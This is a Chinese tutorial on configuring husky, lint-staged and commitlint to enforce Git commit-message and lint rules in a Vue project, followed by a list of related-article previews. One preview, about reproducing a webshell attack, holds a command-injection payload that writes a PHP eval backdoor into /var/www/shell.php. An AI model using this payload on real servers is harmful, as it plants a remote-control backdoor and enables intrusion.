vue项目配置git提交规范

news2024/12/22 18:44:28

vue项目配置git提交规范

  • 一、背景介绍
  • 二、husky、lint-staged、@commitlint/cli
    • 1.husky
    • 2.lint-staged
    • 3.@commitlint/cli
  • 三、具体使用
    • 1.安装依赖
    • 2.运行初始化脚本
    • 3.在package.json中配置lint-staged
    • 4.根目录新增 commitlint.config.js
  • 4.提交测试
    • 1.提示信息格式错误时
    • 2.eslint校验不通过时

一、背景介绍

项目中代码格式以及git message如果不加以约束,可能最终的格式会五花八门,这样很不利于我们的项目合作。所以我们需要使用工具来约束提交代码和信息的格式。

二、husky、lint-staged、@commitlint/cli

1.husky

Husky 是一个 Git Hook 工具,可以帮助我们在 Git 事件发生时自动运行脚本。Git Hook 是一种机制,它允许在 Git 执行操作时自动运行特定脚本,以执行自定义操作。
使用 Husky,可以轻松地添加 Git Hooks,并在特定的 Git 事件(如提交代码)发生时执行自定义的脚本。例如,在提交代码之前自动运行代码格式化脚本或运行代码静态分析工具等。
Husky 支持多种 Git Hooks,包括 pre-commit、pre-push 等,并可以配置多个钩子,以便在多个 Git 事件发生时执行自定义脚本。

2.lint-staged

lint-staged 是一个工具,可以在 Git 暂存区的文件上运行指定的 lint 工具,以便于仅在需要时执行 lint 检查。它通常与 Husky 配合使用,以在提交代码前运行 lint-staged。使用 lint-staged 可以大大提高 lint 检查的效率,因为只需要针对本次提交的文件执行 lint 检查,而不是所有的文件。
lint-staged 支持多种 lint 工具,例如 ESLint、Prettier、Stylelint 等,并可以配置多个 lint 工具。它还支持使用 glob 模式来选择要运行 lint 工具的文件。

3.@commitlint/cli

@commitlint/cli 是一个命令行工具,用于校验 Git 提交信息是否符合规范。它通常与 Husky 和 lint-staged 配合使用,以在提交代码前对提交信息进行校验,从而确保提交信息的格式和内容符合项目规范和约定。
@commitlint/cli 遵循 Conventional Commits 规范,可以自定义配置校验规则。它支持多种校验规则,例如校验提交信息的类型、描述和主体等,并可以在不同的提交阶段执行不同的校验规则。例如,在提交代码前只检查代码格式和 lint 检查,而在合并代码时进行更全面的提交信息校验。

三、具体使用

1.安装依赖

npm i husky -D
npm i lint-staged -D
npm i @commitlint/cli @commitlint/config-conventional -D
在这里插入图片描述

2.运行初始化脚本

npx husky install :生成 .husky 的文件夹
在这里插入图片描述

npx husky add .husky/pre-commit "npx --no-install lint-staged": 添加 hooks,会在 .husky 目录下生成一个 pre-commit 脚本文件

#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"

npx --no-install lint-staged

npx husky add .husky/commit-msg 'npx --no-install commitlint --edit "$1"':添加 commit-msg

#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"

npx --no-install commitlint --edit $1

3.在package.json中配置lint-staged

lint-staged": {
    "*.{js,jsx,vue,ts,tsx}": [
      "eslint --fix",
      "prettier --write"
    ],
    "*.{scss,less,css,html,md}": [
      "prettier --write"
    ],
    "package.json": [
      "prettier --write"
    ],
    "{!(package)*.json,.!(browserslist)*rc}": [
      "prettier --write--parser json"
    ]
},

4.根目录新增 commitlint.config.js

module.exports = {
  // 继承的规则
  extends: ["@commitlint/config-conventional"],
  // 定义规则类型
  rules: {
    // type类型定义,表示git提交的type必须在以下类型枚举范围内
    "type-enum": [
      2, // 当前验证的错误级别 2:错误
      "always", // 在什么情况下进行验证 always:随时
      [
        // 泛型内容,与.cz-config.js一致
        "feat", // 新功能 feature
        "fix", // 修复 bug
        "docs", // 文档注释
        "style", // 代码格式(不影响代码运行的变动)
        "refactor", // 重构(既不增加新功能,也不是修复bug)
        "perf", // 性能优化
        "test", // 增加测试
        "chore", // 构建过程或辅助工具的变动
        "revert", // 回退
        "build", // 打包
      ],
    ],
    // subject大小写不做校验 0:关闭校验
    "subject-case": [0],
  },
};

提交格式:
git commit -m <type>: <description> // 冒号后面有空格

  • type:提交的类型(如新增、修改、更新等)
  • description:信息描述

4.提交测试

1.提示信息格式错误时

git commit -m '测试提交'
在这里插入图片描述

2.eslint校验不通过时

在这里插入图片描述
提交就会报错了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/914344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android Studio调试出现错误时,无法定位错误信息解决办法

做项目时运行项目会出现问题&#xff0c;但是找不到具体位置&#xff0c;如下图所示&#xff1a;感觉是不是很懵逼~&#xff0c;Log也没有显示是哪里的问题 解决方案&#xff0c;在右侧导航栏中选择Gradle——app——build&#xff0c;然后点击运行 运行结果如下&#xff0c;很…

LLMs训练的算力优化Computational challenges of training LLMs

当您尝试训练大型语言模型时&#xff0c;您仍然经常遇到的最常见问题之一是内存不足。如果您曾尝试在Nvidia GPU上训练或甚至只是加载模型&#xff0c;那么这个错误消息可能看起来很熟悉。 CUDA&#xff0c;即Compute Unified Device Architecture的缩写&#xff0c;是为Nvid…

Lnton羚通云算力平台OpenCV-PythonCanny边缘检测教程

Canny 边缘检测是一种经典的边缘检测算法&#xff0c;由 John F. Canny 在 1986 年提出。它被广泛应用于计算机视觉和图像处理领域&#xff0c;用于检测图像中的边缘。 ​【原理】 1. 去噪 由于边缘检测非常容易收到图像的噪声影响&#xff0c;第一步使用 5x5 高斯滤波去除图…

【Linux】数据链路层:以太网协议

约束不等于压迫&#xff0c;冷静和理性不等于冷淡和麻木。 文章目录 一、以太网帧 和 局域网转发数据包1.局域网转发的原理&#xff08;基于以太网协议&#xff09;2.以太网MTU与MAC地址 二、局域网中的数据碰撞1.如何解决局域网中的数据碰撞&#xff1f;&#xff08;碰撞检测和…

[保研/考研机试] KY223 二叉排序树 华中科技大学复试上机题 C++实现

题目链接&#xff1a; 二叉排序树_牛客题霸_牛客网输入一系列整数&#xff0c;建立二叉排序树&#xff0c;并进行前序&#xff0c;中序&#xff0c;后序遍历。。题目来自【牛客题霸】https://www.nowcoder.com/share/jump/437195121692722441741 描述 输入一系列整数&#x…

springMVC之视图

文章目录 前言一、ThymeleafView二、转发视图三、重定向视图四、视图控制器view-controller五、补充总结 前言 SpringMVC中的视图是View接口&#xff0c;视图的作用渲染数据&#xff0c;将模型Model中的数据展示给用户。 SpringMVC视图的种类很多&#xff0c;默认有转发视图和…

原生轮播图的实现

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>轮播图</title><style>* {margin: 0;pad…

【网络】IP网络层和数据链路层

IP协议详解 1.概念 1.1 四层模型 应用层&#xff1a;解决如何传输数据&#xff08;依照什么格式/协议处理数据&#xff09;的问题传输层&#xff1a;解决可靠性问题网络层&#xff1a;数据往哪里传&#xff0c;怎么找到目标主机数据链路层&#xff08;物理层&#xff09;&…

C++:list使用以及模拟实现

list使用以及模拟实现 list介绍list常用接口1.构造2.迭代器3.容量4.访问数据5.增删查改6.迭代器失效 list模拟实现1.迭代器的实现2.完整代码 list介绍 list是一个类模板&#xff0c;加<类型>实例化才是具体的类。list是可以在任意位置进行插入和删除的序列式容器。list的…

MySQL不停重启问题

MySQL不停的自动杀掉自动重启 看一下log日志 my.cnf 里配置的 log_error /var/log/mysqld.log vim /var/log/mysqld.log 报的错误只是 [ERROR] Cant start server: Bind on TCP/IP port: Address already in use [ERROR] Do you already have another mysqld server …

LLMs高效的多 GPU 计算策略Efficient multi-GPU compute strategies

很有可能在某个时候&#xff0c;您需要将模型训练工作扩展到超过一个GPU。在上一个视频中&#xff0c;我强调了当您的模型变得太大而无法适应单个GPU时&#xff0c;您需要使用多GPU计算策略。但即使您的模型确实适合单个GPU&#xff0c;使用多个GPU加速训练也有好处。即使您正在…

Java 项目日志实例:综合应用

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ 本文介绍 JCL(java common logging) 和 SLF4J 分别与 Log4j 结合使用的示例。 1 JCL Log4j 使用示例 1、JCL(java common logging) Log4j 介绍 使用 commons-logging 的 …

Java 实战项目-SpringBoot+Vue 的智慧养老平台,附源码、教程

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W,Csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 文章目录 1.研究背景2. 技术栈3.系统分析4系统设计4.1 软件功能模块设计4.2数据库设计与实现 5系统详细设计…

bode100测量频率响应的基本原理

当使用Bode 100进行频率响应测量时&#xff0c;它会同时测量幅频响应曲线和相频响应曲线。下面是对这两个曲线测量方法的进一步解释&#xff1a; 幅频响应曲线测量&#xff1a; 幅频响应曲线描述了系统在不同频率下输入信号的幅度变化。Bode 100通过以下步骤测量并绘制幅频响应…

基于Jenkins自动打包并部署Tomcat环境

目录 1、配置git主机 2、配置jenkins主机 3、配置web主机 4、新建Maven项目 5、验证 Jenkins 自动打包部署结果 Jenkins 的工作原理是先将源代码从 SVN/Git 版本控制系统中拷贝一份到本地&#xff0c;然后根据设置的脚本调用Maven进行 build&#xff08;构建&#xff09;。…

框架分析(2)-React

框架分析&#xff08;2&#xff09;-React 专栏介绍React核心思想关键特性和功能组件化开发单向数据流JSX语法强大的生态系统 优缺点分析优点缺点 专栏介绍 link 主要对目前市面上常见的框架进行分析和总结&#xff0c;希望有兴趣的小伙伴们可以看一下&#xff0c;会持续更新的…

网络:RIP协议

1. RIP协议原理介绍 RIP是一种比较简单的内部网关协议&#xff08;IGP协议&#xff09;&#xff0c;RIP基于距离矢量的贝尔曼-福特算法(Bellman - Ford)来计算到达目的网络的最佳路径。最初的RIP协议开发时间较早&#xff0c;所以在带宽、配置和管理方面的要求也较低。 路由器运…

Linux下的Shell编程——正则表达式入门(四)

前言&#xff1a; 正则表达式使用单个字符串来描述、匹配一系列符合某个语法规则的字符串。在很多文本编辑器里&#xff0c;正则表达式通常被用来检索、替换那些符合某个模式的文本。 在Linux 中&#xff0c;grep&#xff0c;sed&#xff0c;awk 等文本处理工具都支持…

一句话木马攻击复现:揭示黑客入侵的实战过程

准备环境 OWASP虚拟机xfp 7与xshell 7 ​ DVWA系统默认的账号密码均为&#xff1a;admin/admin 1、命令注入中复现 ​ 攻击payload 127.0.0.1 | echo "<?php eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php 这个命令的目的是在服务器…

从一些常见的错误聊聊mysql服务端的关键配置 | 京东云技术团队

背景 每一年都进行大促前压测&#xff0c;每一次都需要再次关注到一些基础资源的使用问题&#xff0c;订单中心这边数据库比较多&#xff0c;最近频繁报数据库异常&#xff0c;所以对数据库一些配置问题也进行了研究&#xff0c;本文给出一些常见的数据库配置&#xff0c;说明…